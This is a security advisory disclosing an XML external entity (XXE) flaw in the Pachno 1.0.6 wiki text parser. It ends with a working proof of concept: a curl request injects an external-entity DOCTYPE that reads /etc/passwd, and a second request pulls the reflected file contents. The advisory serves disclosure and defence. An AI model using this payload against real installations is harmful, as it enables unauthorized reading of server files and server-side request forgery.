Pachno 1.0.6 Wiki TextParser XXE Vulnerability


Vendor: Daniel André Eikeland
Product web page: https://github.com/pachno/pachno
Affected version: 1.0.6

Summary: Pachno is an open-source collaboration platform (formerly known as The Bug Genie)
designed for team project management, issue tracking, and documentation. It offers a module-based,
customizable environment for software development and team workflows, distributed under the
Mozilla Public License.

Desc: Input passed via wiki table syntax ({|..., |-..., |...||...) and allowed inline tags
(<span>, <div>, <blockquote>, etc.) in issue descriptions, comments, and wiki articles is
concatenated into XML strings and parsed by simplexml_load_string() in the TextParser helper
without setting LIBXML_NONET or otherwise restricting entity resolution. On PHP installations
linked against libxml2 < 2.9.0 (where external entity loading is enabled by default), this
can be exploited to read arbitrary local files via the file:// scheme, perform server-side
request forgery against internal services via the http:// scheme, and exfiltrate the response
body through reflected XML attribute values. Successful exploitation requires an authenticated
session with permission to create or edit content that is rendered through the wiki parser.
On PHP 7.4+ installations with libxml2 >= 2.9.0 the vulnerability is mitigated by the underlying
library but the unsafe code pattern remains.

Tested on: GNU/Linux
           Apache2
           PHP/7.4
           MySQL/5.7 (MariaDB)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-5984
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5984


06.04.2026

--


$ curl -v -b cookies.txt -X POST "http://127.0.0.1/docs/r/4/edit" \
  --data-urlencode 'article_content={|<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> class="wikitable &xxe;" \
|-\
| ZSL\
|}'


$ curl -s -b cookies.txt "http://127.0.0.1/docs/4/article-name" | grep -o 'class="wikitable [^"]*"'
root:x:0:0:root:/root:/bin/bash
...